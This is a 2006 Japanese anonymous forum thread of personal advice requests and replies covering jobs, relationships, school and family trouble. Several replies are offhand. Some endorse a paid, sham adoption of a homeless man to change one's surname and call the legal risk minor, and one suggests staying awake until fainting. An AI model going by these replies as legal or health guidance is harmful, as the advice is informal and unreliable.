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【人生】誰かがあなたの悩みに答えます49【相談】

1 :マジレスさん:2006/11/08(水) 00:02:38 ID:6kL6ebQA
◆利用者の方々へ
・ ここは2ch。残念ながら荒らしや煽りがあります。それらは完全スルーでお願いします。
  できないあなたも荒らしです。
  意見したり、削除依頼をすると悪化して相談・回答のレスが埋まってしまう可能性があります。
・ レス番の前に半角で >>と入れると青く表示され、アンカーリンクが出来ます。
・ 何度も書き込む場合、最初に書き込んだ時のレス番号を名前欄に書いておいてください。

◇特に相談者の方へ
・ 相談はなるべく詳しく明確に書きましょう。(できれば年齢や性別も。)
 「さびしい」「つらい」といった書き込みでは回答する側が困ります。
・「相談してもよろしいでしょうか?」と聞く必要はありません。
 書いておけばアドバイスできそうな人がレスをくれるでしょう。
・ ここでのアドバイスはホンの参考意見に過ぎません。
 あなたの人生に対して責任を持つことができるのはあなただけです。
 自分でよく考え、自己責任で行動に移してください。

◇特に回答者の方へ
・ 答えられない質問・相談には無理にレスする必要はありません。
・ 他の回答者の意見を批判することは厳禁です。
・ たとえ正論(と思える内容)であっても、
  人によってはすぐにはそれを受け入れることはできません。
そのような場合にも、相談者を批判するような発言は禁止です。

◆前スレ
【人生】誰かがあなたの悩みに答えます48【相談】
http://life7.2ch.net/test/read.cgi/jinsei/1162600310/

2 :マジレスさん:2006/11/08(水) 00:28:40 ID:B1pRyi+X
初の2げと

3 :マジレスさん:2006/11/08(水) 00:35:14 ID:+VQ1Dq3d
3とりー

4 :マジレスさん:2006/11/08(水) 00:36:21 ID:178ee4dW
22歳男性
8月 一身上の都合により退職(実際は仕事できなくて首切り)
9月 資格取得のため勉強
10月 不合格
11月7日 就職活動初日
3月で卒業した学校に求人情報を見に行って先生にみつかる
求人情報を先生と眺める
先生「ここなんてどう?よくない?」
俺「いいね」
先生「じゃあ今から電話するよ」
俺「お願いします」
先生「明日、面接だって」
俺「!」(準備してない)
とりあえず履歴書には一身上の都合により退職って書いたけど
面接で理由聞かれた場合こういうときどう答えるべきでしょうか?

5 :マジレスさん:2006/11/08(水) 00:38:52 ID:28M2Oj0B
ひろみ 5

6 :マジレスさん:2006/11/08(水) 00:39:38 ID:178ee4dW
マジレスなのでマジ返事期待

7 :マジレスさん:2006/11/08(水) 00:42:20 ID:xcOz2BRj
えーっと自分学生で女なんですけど
友達を3人家に誘ったんですよ
そしたら近くで話をきていたオタク(その3人とは仲がいい)
が何故か話に入ってきて真面目に家に突撃してきそうな勢いなんだか
どうやって断ったらいいんだ・・
そいつと地元とかマジ恥ずかしくて歩けん
ほんと助けてくれ。

8 :マジレスさん:2006/11/08(水) 00:47:24 ID:28M2Oj0B
>>6
人まかせで決めるような仕事はどうかと思う。
また、同じ事の繰り返し。その会社、企業内容はわかるのか?
俺ならハッタリかましてでもそちらで何、何したくてやめましたと言うが・・・

9 :マジレスさん:2006/11/08(水) 00:51:19 ID:178ee4dW
>>8
そうします。ありがとうございます。

10 :マジレスさん:2006/11/08(水) 00:51:40 ID:28M2Oj0B
>>7
一緒に歩いてみろっ!!









新しい世界が君を待ってる

11 :マジレスさん:2006/11/08(水) 00:58:00 ID:xcOz2BRj
10>>
新しい私、デビュー☆★





無理です。

12 :マジレスさん:2006/11/08(水) 00:58:13 ID:28M2Oj0B
>>4
付け加えだが、退職を書くとき「一身上の都合により」は書かなくてよいぞ。

書文のイメージ上良くはない

13 :マジレスさん:2006/11/08(水) 01:04:05 ID:Uk/WqARt
>>7
類は友を呼ぶ
仲良くしろや

14 :マジレスさん:2006/11/08(水) 01:05:03 ID:28M2Oj0B
>>11

実は好きなんです・・・。といったら、










オタクは落ちるぞ

15 :7:2006/11/08(水) 01:21:58 ID:xcOz2BRj
そのオタクなんですが男だったらまだしも女でしかも
口を開けば下ネタ、好きなゲームやアニメキャラを見つけては叫ぶ
デブで顔面ニキビ祭、自称レズ・・

>>7,>>14
わかりました ちょっと死んできます。

16 :7:2006/11/08(水) 01:23:03 ID:xcOz2BRj
訂正
×>>7
>>13

17 :マジレスさん:2006/11/08(水) 01:33:36 ID:B4lDbg+t
友達が、私の好きな人(A)と2人きりで遊んだあげく、
仕事帰りの私を呼び出しました。
この行動ってどうなんですか?
友達は、私には「Aは友達だね。好きにはならない」って言っていましたが、やはり好きだったみたいで…。
とりあえず友達には「好きだったんならしょーがないよね」と言いましたが腑に落ちず、私から距離を置き始めました。
もう20代なのにこんなことくらいで距離を置くのは間違ってますか?

18 :マジレスさん:2006/11/08(水) 02:44:02 ID:sia3Lb04
過去に未婚で出産経験があります。養子に出したため、事実上親ではありません。もう結婚はできないのでしょうか?男性は、ひきますか?

19 :マジレスさん:2006/11/08(水) 02:48:33 ID:aZFJl8QG
>>18
素直に(過去の事を)告白すればOK!(婚姻届を出した後に告白→NO!)

20 :マジレスさん:2006/11/08(水) 02:52:47 ID:2ZCCFTsS
>>17
仮に間違いだとしたら、いつも通りに接する事は出来るのかな?

間違いか間違いじゃないかは問題じゃない。
大事なのはあなたがどうしたいのかだよ。


>>18
結婚はできると思うよ。

引くかどうかは個人差あるね。
ちなみに俺が引くかどうかは、
未婚出産に至る経緯と養子に出した理由によるね。

21 :マジレスさん:2006/11/08(水) 02:53:53 ID:SabzhPkX
>>18
基本ひくけど、理解ある人にめぐり合えれば結婚できます

22 :マジレスさん:2006/11/08(水) 03:23:06 ID:DDHJdEPl
仕事の関係の異性との付き合い方に悩んでいます。

こちらが発注側、または仕事を紹介してもらう側など、
パワーバランスはいろいろなのですが、
仕事だからと思って行った行為がどうも毎回変な方へ進んでしまいます。

たとえば、「打ち合わせがてら食事」「仕事絡みの花見の後ちょっとコーヒーでも」
などという入り口から、なぜか観覧車に乗ろうだの映画を見に行こうだのと誘われます。
特定の個人ではなく過去複数名で似たようなパターンです。
この時点では、「仕事の息抜きもしなきゃ」など、
たいてい「仕事」にかこつけて誘われるので、断りにくいです。

嫌な予感は感じるのですが、変に警戒するのも失礼&おこがましいと思って、
いつもとりあえず仕事上の顔で誘いにのります。
プライベートだったらぜったいに嫌な予感のする男性とは二人になりません。

相手は「仕事だから」というのがすっぽぬけてしまうのか、そういう戦略なのかよくわかりません。
そして、ハッキリと男女関係を誘われた瞬間に私が断ると、気まずい空気が…。

どの時点で断ればよかったのか、毎回悩んでいますが、どうしたら、
相手に気をもたせないようにできるのでしょうか?
私がモテルタイプというわけではなく、
妻子餅のおっさんやら、女性とのつきあいゼロみたいなヒトから勘違いされます。

23 :マジレスさん:2006/11/08(水) 04:51:40 ID:lMUQwNGw
>>18さん
あなた自身が、以前過ちを犯した時よりもどのくらい成長されているかが大切だと思います(後悔されているご様子ですので勝手に過ちとさせていただきます。非礼長文はお許しください)。

ふつうではなかなか経験し得ない苦労をされた分、その経験を糧にできていれば以前より精神的に成長されているはずです。たとえば雰囲気に流されない落ち着いた考え方や言動をとれたり、おかしいと思うことは断れるようになったり、など。

つまり、社会人としてあるべき姿を自ずから理解し、それを規範とした社会人らしい行動を自分の意志でとれるようになられているはずです。

あなたが結婚に不安になられているのは、過去のせいで「自分を信じてもらうことは難しいだろう」と考えられているからではないでしょうか?

大切なことは、あなた自身があなたの成長に胸を張り、あなたがあなたを信じることです。

「この人(あなた)は同じ過ちを繰り返さない、一生信じて共に生きていけるパートナーだ」と相手に伝われば
その成長したあなたを理解できる、精神的にも豊かな男性に心を許してもらえると思います。

自分の犯した過去は悔いるだけのものではなく、反省し吸収し
今を胸を張って生きるためのものだと思います。

24 :マジレスさん:2006/11/08(水) 04:54:25 ID:ss7evRRF
なんかありがとう
こうやって話したりできる奴なんていないお前等だけだったありがとう楽になった頑張れそうだ

25 :マジレスさん:2006/11/08(水) 04:59:43 ID:28M2Oj0B
>>24
おまい何を相談したんだい?

26 :マジレスさん:2006/11/08(水) 05:06:05 ID:lMUQwNGw
>>22さん
「ところでこのあとデートしよう」と面と向かって誘う勇気がないため仕事を口実にしているだけで、男としてはデートに誘っているだけのことですので
場所変えてお茶、や、観覧車など明らかにデートの誘いは
「今日はこれから会議なんですごめんなさい。また今度誘ってください」のような内容で仕事などを理由になるべくやんわりと、でもやむを得ないという感じで断ってあげたら
面子を保ったままフラれたことを理解すると思いますよ。

期待させては気の毒です。デート代金が男持ちならなおさら。

27 :マジレスさん:2006/11/08(水) 07:26:25 ID:hpTqLGra
>>22
それはおまいが勤務中であるにも関わらず色気を発散しているからだ。
血の臭いをさせれば狼が寄ってくる、この意味分るな?

28 :マジレスさん:2006/11/08(水) 08:13:00 ID:Y2p0y4O1
もう学校行く元気がない。行っても勉強遅れてわからないし、友達と呼べる友だちがいない。
それに今日母親に顔が死んでるっていわれた。
そこまでして学校行こうとは思わない。クラブでも教室でも悪口言われてもうどうでもよくなってきた。 
なんのために学校いくんだかわからないです。


29 :マジレスさん:2006/11/08(水) 08:20:17 ID:CPGtSGHv
べつに学校いかなくていいと思うよ
卒業したいなら行けばいいし

悩む時間、やりたいことに回さないと損だよまじで
自分がしたいこと何かもてばいいと思う

30 :マジレスさん:2006/11/08(水) 09:14:46 ID:XmjetSvV
そうだよ
学校なんて大人になっても行けるし あたし学校行かずに働いてるよん 普通の人が多いから普通からはみ出すの怖いし 普通の人の倍 辛いこと多いけど はみ出しちゃえ 世の中いろんな人いるから 視野広げなぁ

31 :マジレスさん:2006/11/08(水) 09:29:57 ID:KQaHKzmr
三日前から人差し指にトゲが刺さって、いまだに抜けません…
昨日耐え切れなくて安全ピンで皮をわずかにほじりながら刺さっているトゲを探しているのですがみつかりませんでした。
そのうち抜けるだろう、と思っていたんですが抜けるどころか皮をめくった為に前よりチクチクがひどくなりました
どうすればいいでしょうか

32 :マジレスさん:2006/11/08(水) 09:49:18 ID:ZmVjOjxv
自分には物心ついた時から母がいませんでした。しかし父が2年前に再婚し、20歳にして俺に母ができました。
母がウチに来た時はまだ28でした。さすがに母と呼べる年齢ではありませんでした。しかし母は本当に俺によくしてくれ、語り尽くせない程の絆が生まれました。
しかし半年前、父が脳梗塞で亡くなりました。
それから何かがおかしくなりました。
俺は悲しみに暮れる母をなんとか支えようと決意しました。その気持ちが伝わったせいか、数ヶ月すると母にも笑顔が戻りました。
しかし、ある日母は俺に性的な関係を求めてきました。
毎日のように俺の身体で変な手つきで触ったりして、俺が嫌だと言っても、全く聞く耳をもとうとしません。
俺は、父を失ったショックで精神的に病んでいるのではないかと判断しているのですが、素人にはわかりかねます。
やはり病院に連れていくべきなのでしょうか…。
妙な相談ですが、どうかよろしくお願いします…

33 :マジレスさん:2006/11/08(水) 10:19:47 ID:CjwhH7pc
17才男です。
自分は普段は友達とは仲が良いし親ともまぁまぁなんですが、本気で怒ると手がつけられません。
以前も親と喧嘩して暴力を振るったり、物に当たったり、更には自分まで傷つけたりしてしまいます…

喧嘩をしてる時は興奮してて何にも思わないんですが、後で後悔ばかりです…
でも本気で怒るとどうにも止まりません。

これって何かの病気なんでしょうか?
誰か助けてください!!

34 :マジレスさん:2006/11/08(水) 10:23:51 ID:Z2a0wCe/
>>33
一回精神科行ってみな
損することはないとおもうよ

35 :マジレスさん:2006/11/08(水) 10:24:09 ID:fvBIG27K
>>33
精神科池
それか医療板できいてみろ、2chのな

36 :マジレスさん:2006/11/08(水) 10:37:42 ID:CjwhH7pc
やっぱ精神が病んでましたか…
ありがとうございます。

37 :マジレスさん:2006/11/08(水) 11:48:51 ID:yPGOm8ZU
22歳男です。将来について悩んでるので相談させてください。
来年から就職なんですが、メーカーに就職で今独り身なので結婚できる気がしません。
また、周りでも好きな子がいるわけではないので非常に不安です。
僕は親子で手をつないで公園を散歩するような幸せな家庭を築くことが夢なんですが、
合コンやナンパでは心の底から信頼できる相手に出会える気がせずどうしたらいいか
わかりません。最近本当に悩んでいるのでよろしく御願いします。

38 :マジレスさん:2006/11/08(水) 11:54:04 ID:SxKMe6m4
彼氏と彼氏の友達の事で相談です。

まず前置き説明。
私と彼氏は高校生の頃友達になり、社会人になって紆余曲折あり付き合い始めました。
来年の春に結婚予定です。現在婚約中。
彼氏は中・高・大学と同じスポーツをやってます。彼氏の友達A君・B君とは
激烈なマブダチで、同じスポーツ仲間。A君は高校からB君は中学からの付き合です。
今でもしょっちゅうつるんでます。A君B君には結婚式で友人代表のスピーチをやってもらう
約束もしてあるようです。
ちなみに、仲良しグループ(大学のクラブ仲間中心)はA君B君彼氏を含め総勢で7名。
今でも年に何回か、寄り合って遊んでいます。

相談事。
半年位前仲良しグループのC君の彼女(私と高校が一緒で先輩)から
仲良しグループの大学時代のサークル合宿中にやったと思われるアホな写真が
ゲイの人がやっているHPにアップされてて、中にはちょっと問題な写真もあり
その問題な写真の被写体が、うちの彼氏なんだけど本人達に言うべきかどうしよう
と連絡がありました。とりあえず見てくれという事だったので、見たらサークルの
合宿中のアホな写真(全裸で踊ってるとかはっぱ隊やってるとか色々)は私も見た事が
あり、こんなアホ丸出しな写真でも、ゲイの人はハアハアするんだなぁ位の感想しか
なかったのですが、彼氏が被写体になっているという問題の写真、
酔い潰れて、意識不明の彼氏にイタズラしているものでした。
下着ずりおろしての写真とか、かなりキワドくエスカレートしたようなものまで色々。
大学時代のから、割合最近と思われるものまであり最近とられたのが、エスカレートした
写真でした。


39 :マジレスさん:2006/11/08(水) 11:55:10 ID:SxKMe6m4
続きです

それとなく本人に聞いたりしたのですが、全く知らない様子。酒を飲んで寝ると
本当に朝まで、何をしても起きないのでイタズラされている事に気づいてないと思います。
そして、その写真を撮って彼氏にイタズラをしているのはA君かB君のどちらかです。
初期の写真は数人でやってるっぽいのもありました。おそらく本当に純粋なイタズラ写真
だと思います。(顔に落書きとかされてるし)
問題の後期と思われる写真の方・・・・犯人が激マブダチと言っているA君かB君・・。
彼氏の後ろで伸びているっぽい人の写真があったので、おそらくはどちらか一人の犯行かと思います。二人ともとても好青年で、友達思いのいい人なので正直とても信じられません。

本人が知らない&気づいていないのなら、友情にヒビを入れるような事は
黙っておいてあげるべきか、それとも今後どんな風にエスカレートするか判らないので
言ってあげるべきなのか物凄く悩みます。言うとしても、結婚式が終わってから
言った方がいいのかどうなのか・・・。
C君の彼女はとりあえず、黙っていることにしたそうです。
男性はこういう事は知らないほうがいいのでしょうか?

長くなりましたが意見いただけると嬉しいです。

40 :マジレスさん:2006/11/08(水) 11:56:38 ID:zDYiLtd9
>>37
何か趣味や興味のあることはありませんか?
習い事やサークル等始めてみてはいかがでしょう?

41 :マジレスさん:2006/11/08(水) 11:57:21 ID:Y2p0y4O1
>28です。中退→高認→専門に行きたいと思ってます。でもまだもう少し悩んでて、休学したいなぁと思ってます。

42 :マジレスさん:2006/11/08(水) 12:15:06 ID:zDYiLtd9
>>38
そもそもそんなところに写真が掲載されているのが問題だと思うのですが…

そんな写真が掲載されているのが貴方にとって恥ずかしい、A君やB君とこれ以上仲良くしてほしくないのであれば話すべきだと思いますが、
ただ単にそんなことされてる彼が可哀想だから…という理由ならば話すべきではない気がします。
A君もB君も彼にとっては大事な友達なのですから、
むやみに友情を壊さない方がいいと思います。
どうしても知らせたいなら直接言わずに彼が自然に知れるようにうまく事を運んだ方が良いと思います。

43 :マジレスさん:2006/11/08(水) 12:21:16 ID:zDYiLtd9
>>41
意志が強くないと、高認や専門でもグダグダになってしまうと思うのでよく考えて下さいね。
それからどんな選択であれ学費を払っているご両親への感謝も忘れずに。

44 :マジレスさん:2006/11/08(水) 12:50:04 ID:sia3Lb04
>>18です。 
ありがとうございます。産んで育てるつもりでしたが、家系の事情、混血児であったため問題が多く、外国人夫婦の養子にした方がのびのびと成長できるという理由です。
無責任かもしれませんが中絶はしなくてよかったと思ってます。

45 :マジレスさん:2006/11/08(水) 13:08:17 ID:SlES6f9p
他の板にも聞いたんですが、友達にさっき言われたことで。
17歳にできて、18歳にできない事があるらしいです。なんなんですか??

46 :マジレスさん:2006/11/08(水) 13:12:25 ID:E8HJNv8P
>>45
法に触れるたぐいのことじゃないかな。

47 :マジレスさん:2006/11/08(水) 14:12:37 ID:+3jM2a6z
>>45
18歳の誕生日パーティーだろ。

48 :マジレスさん:2006/11/08(水) 16:20:35 ID:iJv39JEB
皆さんこんにちは。実は不都合から苗字を変えなければいけなくなり、
ホームレスの方から戸籍を買う、つまり形式のみの養子縁組をしたいと思いますが
どうでしょうか?もちろんホームレスの方を愚弄してるわけではありません。
それなりに謝礼もします!
皆さん、私はおおまじめです。忌憚ない御高見をお聞かせください。

49 :マジレスさん:2006/11/08(水) 16:20:55 ID:kuNmX5Vh
>>22
仕事のついでと思われない事柄に誘われた場合、
「仕事と関係ないじゃないですか〜、息抜きはしてますよw」と
かわして話を流す。
押しに弱くて「上手くいけば付き合える」と思われているんじゃ?
さっくりとあしらって下さい。


>>31
医者で診てもらった方がいいと思います。
化膿したら大変だよ。

50 :マジレスさん:2006/11/08(水) 16:25:13 ID:kuNmX5Vh
>>32
伴侶を失った喪失感をあなたで埋めようとしてるのかも。
あなたが何を言っても聞かないなら、自分では制御できなく
なっている状態だろうから、冷静になってもらうために
心療内科につれて行った方がいいと思いますよ。
変に母を勘違いさせないためにも早めにね。

51 :マジレスさん:2006/11/08(水) 16:34:03 ID:JoL9LnQD
凄い軽い質問なんですが…;
最近(学校に行かなければならない)という思いに(眠い)という思いに負けてしまい、結果今日のように学校が終わってから目が覚めるようなことになってしまいます。どうすればちゃんと起きていけるでしょうか?イジメとかはないです。

52 :マジレスさん:2006/11/08(水) 16:37:20 ID:bZnSd7cq
>>48
借金でもするの?

53 :マジレスさん:2006/11/08(水) 16:38:29 ID:3h6Td4Q9
>>51
学校がない日には朝起きれるの?
学校がない日も夕方まで起きられないのなら
生活のサイクルがずれちゃってるのかもしれません。
夜早く寝ましょう。
学校がない休日はきちんと朝起きられるのなら
やはり学校に何か潜在的なストレスか何かがあるんじゃないでしょうか?

54 :マジレスさん:2006/11/08(水) 16:54:06 ID:WJ5LXvoL
今、大学4年生ですが今更サークルに初で入りました。初対面の人とはどうやって冗談言える仲になれますか? その初対面の人もよく冗談言う人ですが自分にはまだ言ってくれません。声が低く見た目怖い俺にアドバイスください 自分も冗談を言う方なんです

55 :マジレスさん:2006/11/08(水) 16:57:48 ID:bZnSd7cq
>>37
合コンやナンパというのは単なる出会いの場であったり、きっかけであるだけ
ではないですか?
こころの底からの信頼というのは長い付き合いから生まれるものでは
ないですか?
あなたが求める信頼できる相手に出会うためには、出会いの機会を広げるべき
だと思いますよ。
結婚を目的にするなら結婚斡旋所のようなところを利用するのが
確実だと思いますが、あなたの場合は少し色々な女の人と接してみたほうが
いいかもしれませんね。
女性も色々です。あなたと同じような価値感を持った人もいますよ。

56 :マジレスさん:2006/11/08(水) 17:04:33 ID:JoL9LnQD
>>53
ありがとうございました。今日は早く寝てみます。ストレスは無いと思うんですがね…^^;

57 :マジレスさん:2006/11/08(水) 17:09:11 ID:bZnSd7cq
>>54
初対面の人って冗談はお互いに言いにくいですよね。
あなたから言ってみたらいいと思いますよ。
見た目恐いけど結構面白い人なんだ、と相手も分かれば
打ち解けやすいですしね。

58 :マジレスさん:2006/11/08(水) 17:10:40 ID:+3jM2a6z
>>54
とにかく話す!声をかける!挨拶する!
一回でも話したことがあれば顔見知りだ!
百回話せば知り合いだ!千回話せば友達だ!
百万回話せばウホッいい漢友達だ!

59 :マジレスさん:2006/11/08(水) 17:13:44 ID:Z2a0wCe/
高校1年♀
一人だと眠ることができません。今まではお兄ちゃんと寝ていたのですが母に禁止されて一人で寝ないといけなくなりました。
一人だと怖い妄想が広がって眠れないんです。馬鹿みたいですけど幽霊がでるんじゃないかとかです。
最近は彼氏の家に泊まったりしてます。親は夜家にいません。
どうしたら一人で寝れるようになりますか?

60 :マジレスさん:2006/11/08(水) 17:17:37 ID:+3jM2a6z
>>54寝なければいいと思うよ!勉強でもしてれば
そのうち気絶する。それか病院にいって睡眠薬を
もらえばいいんじゃない?不眠症とか精神的な病気じゃないの?

61 :マジレスさん:2006/11/08(水) 17:21:38 ID:+9e1Xbs0
今まで彼女出来たことないんだが、相手を選ばなければ出来ると思うか?
俺のスペック必要なら書くが。

62 :マジレスさん:2006/11/08(水) 17:22:19 ID:Z2a0wCe/
>>60
病院いったほうがいいですかね?精神科ですよね?人がいれば寝れるんですけど…特に気を許せる人だと。

63 :マジレスさん:2006/11/08(水) 17:26:20 ID:Z2a0wCe/
>>61
スペックおしえて

64 :マジレスさん:2006/11/08(水) 17:33:12 ID:EbUNhH/a
なんでか、見たらいけないって分かってるのに
見ちゃいけない類のビデオを見てしまいます。。。

確かに効率の面で考えると、物凄くいいんですが
絶対、後悔するのがいつものオチ、の繰り返しです・・・

65 :マジレスさん:2006/11/08(水) 17:50:06 ID:+9e1Xbs0
>>63

簡単に書くぞ?
26歳。
仕事はしてなくて療養中の身。
フケ顔。
メガネ。

66 :マジレスさん:2006/11/08(水) 17:53:27 ID:a2fzE2No
ハタチで童貞は普通???

67 :マジレスさん:2006/11/08(水) 17:55:37 ID:Z2a0wCe/
>>65
簡単すぎて全然わかんないけど
本当にどんな女の人でもいいなら積極的にいけばできるんじゃない?

68 :マジレスさん:2006/11/08(水) 17:55:43 ID:u0eW4BUz
何のために大学行くんですか?何のために大学で勉強するんですか?

69 :マジレスさん:2006/11/08(水) 18:02:12 ID:+9e1Xbs0
今自動車学校通ってるんだけど、なかなか運転が上手くなれん。
あと、教官がむかつく。
どうしたらいい?

70 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 18:03:21 ID:FYE63OBL
>>65
相手を選ばなければできる

なぜならば、>>65
26歳。
仕事はしてなくて療養中の身。
フケ顔
メガネ
で、「相手を選ばなければ彼氏ができる」と言われそれを信じて行動している
女がどこかに、それもかなりの数存在するであろうから。
いつでも誰かとつきあっている人たちは、常に、あらゆる瞬間、相手を探すための行動を怠らないだけ。
彼らを見ていると、ある意味感心しますな。

71 :マジレスさん:2006/11/08(水) 18:05:32 ID:UcYP4sID
>>65
では簡単に女ウケ度診断を。

26歳。 →女子高生から30代女性まで、幅広い層の女性に人気のある年齢だと思います。
仕事はしてなくて療養中の身。
    →仕事していないのはマイナス。療養中の病気(怪我)にもよる。
フケ顔。 →特に問題なし
メガネ。 →むしろ好印象。

積極的にいけば全然オケな感じですが
無職と療養中というのが一番のネックですね。
例えば彼女ができてもデートにもいけないだろうし。
ただ、私の友人の女性が足を骨折して自宅療養中という男性とネットで知り合って
もっぱら彼の家で看病デートをしていた(セックス込み)というケースもあるので。


72 :マジレスさん:2006/11/08(水) 18:06:58 ID:hrvqtQnJ
>>68
何の為の勉強か、勉強して身に付けてみないと何の役に立つのかわからん知識も多い。一見無駄に見えても何時如何なる状況で必要になるかもわからん。知識は力になってくれる、身に付けておいて損は無いぞ。
大学に行くのは未来の選択肢を増やすという意味では駄目か?

73 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 18:09:41 ID:FYE63OBL
>>69
我慢して続ける。なぜなら

物覚えが悪くて、しかも自分に対してむかついているらしい人間を、仕事の為に教えなければならないのは非常に苦痛である。
ゆえに、その教官にあなたが習い続ければ続けるほど、その教官にはストレスがたまり、健康や精神にダメージを与えることが出来る。




74 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 18:12:31 ID:FYE63OBL
>>68
それを人に尋ねている人が行くところでは(本来)ありません。
まあ、四年間親の金で遊んで堕落を極めるため、と思えばいい。

…堕落は 楽しいよ

75 :マジレスさん:2006/11/08(水) 18:14:18 ID:6XhdcM1X
>>68
能力を身につけるため。良い地位につきたいため。良い仕事をしたいため。素敵な人と結婚したいため。
>>69
教官とはそんなもんだ。習ったことをもう一度思い出し何度も復習しろ。

76 :マジレスさん:2006/11/08(水) 18:25:31 ID:28M2Oj0B
自分でチンコがしゃぶれません。
みんな、どうしてますか?

77 :マジレスさん:2006/11/08(水) 18:27:46 ID:+9e1Xbs0
>>76
手でやってる。


78 :マジレスさん:2006/11/08(水) 18:30:08 ID:UcYP4sID
>>76
1)毎日柔軟体操をする
2)ヨガを習う
3)切り離して使用
4)あきらめる

好きな方法をどぞー。

79 :マジレスさん:2006/11/08(水) 18:32:31 ID:28M2Oj0B
>>77 >>78
ありがとう!!

あきらめて、手でやることにします!!

80 :マジレス:2006/11/08(水) 18:33:15 ID:u0joa7mA
18才 男 僕は今やりたい事がなく真剣に悩んでます。とりあえず就職しましたが
その仕事が本当にしたかった訳ではなくてただ回りに勧められ入ったせいか
その仕事にやる気がでません。
これまでも自分の意見を言わずにただ周りの意見で過ごしてきた気がします。
学生までは部活に打ち込んでいたのでそれで良かったのかもしれないけど
社会人になると何もありません。僕の友人が今大学生でその友人が自分のしたい事に
次々と取り組んでいる話を聞くと自分の「やりたい事」が無い・毎日を無駄に消費している事に
焦りを感じて本当にイヤなんですどうすれば自分のしたい事が見つかるのでしょう?


81 :48 ◆f53MryH4Tg :2006/11/08(水) 18:42:45 ID:rYSxk13Q
みなさーん、質問に答えてくださーい。(笑)
借金をするわけではないのですが、ある人物に狙われてるんです。

82 :マジレスさん:2006/11/08(水) 18:42:58 ID:6XhdcM1X
>>80
やりたいことが見つからない人間は一生見つからないよ。

まだ若いから数年間いろいろな仕事をしてみて、これだという仕事ができたら、それに人生を賭けてみては。

83 :マジレスさん:2006/11/08(水) 18:44:37 ID:+9e1Xbs0
>>81
別にいいんじゃないか?

84 :37です:2006/11/08(水) 18:51:55 ID:yPGOm8ZU
>>55>>40
ありがとうございます。機会を広げるのに努力はしてますが、なんぱとか
合コンみたいなんだと何かがちがうんですよね。趣味をさらに広げたり一
層努力してみます。ありがとうございました。


85 :48 ◆f53MryH4Tg :2006/11/08(水) 18:53:03 ID:rYSxk13Q
待機中です…

86 :マジレスさん:2006/11/08(水) 18:57:28 ID:+9e1Xbs0
>>85
お前がしたいことが良いのか悪いのか相談したいのか?

87 :マジレスさん:2006/11/08(水) 19:03:00 ID:kuNmX5Vh
>>85
ホームレスの人が承諾すればいいのでは?
だが、その人と親子になるわけだから、
その人に借金があったり、たかられたりしてもシラネ

88 :48 ◆f53MryH4Tg :2006/11/08(水) 19:03:35 ID:rYSxk13Q
何もしてないっすよ・・・。
少なくとも犯罪はしてません。
ちょいといろいろ事情がありまして・・・。

89 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 19:04:00 ID:FYE63OBL
>>84
確かに、あなたが求めているものは「ナンパや合コン」とは違うでしょうなあ。
しかし
「ナンパや合コン」から手に入れた「コレジャナイ」を、しばらく我慢して手元においていじくっていると
「あなたが欲しかったもの」に変化したり、中から出てくることがありますな。

カブトムシが欲しい賢明な子供が、腐葉土の中から掘り出した芋虫を持って帰るようにね。

90 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 19:08:47 ID:FYE63OBL
>>88

あなたがそれをしてはならない理由を、このスレに入る人で見つけられる人はいないでしょうな。


91 :48 ◆f53MryH4Tg :2006/11/08(水) 19:11:19 ID:rYSxk13Q
>>90 それは大丈夫だと思います

92 :48 ◆f53MryH4Tg :2006/11/08(水) 19:13:11 ID:rYSxk13Q
>>87
一応、冬の間は自宅でそのホームレスの方を匿うつもりです。
その後は離縁届を出して再び他人になるという予定も
最初に話して了解をもらうつもりです・・・。

93 :マジレスさん:2006/11/08(水) 19:25:39 ID:+9e1Xbs0
>>92
よくわからんが、スレ違いじゃないか?

94 :マジレスさん:2006/11/08(水) 19:28:23 ID:eoT/lAOs
>>80
やりたい事が若い頃から着手出来る事が、長い人生の中で結果として良いとは限らないヨ。
折れも、中学から目指した仕事に就いたが、10年で別の仕事に転職w 
まあ、得意とかより憧れだけで就いた仕事だったからなぁ〜

むしろ、今の状況で自分の適正を見極める時期だと割り切る事も選択肢の1ツかと・・・
今の仕事の中でも、得意な事や楽しい事、他人より優れてる部分が見つかるかもヨ。
自分の内面を充分知った上で、そのジャンルの仕事に改めて進んでも遅くないと思う。

95 :マジレスさん:2006/11/08(水) 19:32:03 ID:JxxVFEam ?BRZ(5006)
人前でオドオドしない方法ってありますか?
どうも自分緊張するとオドオドしてしゃべれなくなってしまいます
筋トレとかやってるのですがなかなか直らない

96 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 19:33:35 ID:FYE63OBL
>>93
彼の悩みが
「法的に可能かどうか、あるいは罰せられないか?(…その可能性は、まあ多少ありますがw)」
「実際に可能なのか?あるいはその方法は?」
ならスレ違い
「社会的・倫理的に許されるのか?」
「このようなことをして、この先私はどうなるのだろう?」
なら、このスレでよろしいのではないでしょうか。

>>92 で、どっち?





97 :48 ◆f53MryH4Tg :2006/11/08(水) 19:33:38 ID:rYSxk13Q
>>92
そうでしょうか?「法律相談」のスレでは誰も相手にしてくれませんですた。(涙)
もう少しだけ待機させてください。

98 :48 ◆f53MryH4Tg :2006/11/08(水) 19:34:54 ID:rYSxk13Q
もちろん「このようなことをして私はどうなるのか?」です。

99 :マジレスさん:2006/11/08(水) 19:37:13 ID:UcYP4sID
>>98
離縁した後の98さんの戸籍ってのはどうなるの?

100 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 19:38:19 ID:FYE63OBL
>>97
そうでしょうなあ。
「養子縁組」は私法で、本人同士の了承があればよいですから。
ただ、その理由を「妥当かどうか」行政、まあ裁判所が認めるかどうかだけだから。





101 :ダークオサーン ◆CAgEU2NTKA :2006/11/08(水) 19:42:49 ID:FYE63OBL
>>98
そのホームレスのオッサンに、ゆすられる可能性がある。
…まあ、行政にばれてもたいしたことにはならないでしょうが。
取り消し&略式起訴→科料ぐらい(交通違反レベル)で。


102 :48 ◆f53MryH4Tg :2006/11/08(水) 19:50:42 ID:rYSxk13Q
皆さんレスありがとうございます!!!嬉しいっす!
>>99 確か戸籍法の第73条には、離縁したのちでも届出さえ出せば
相手の(養親の)苗字を名乗れるみたいです。

103 :A吉 ◆nrvTz0G3vs :2006/11/08(水) 19:55:02 ID:b0aHcBE0
>>95
事前に何度もイメージトレーニングだね。
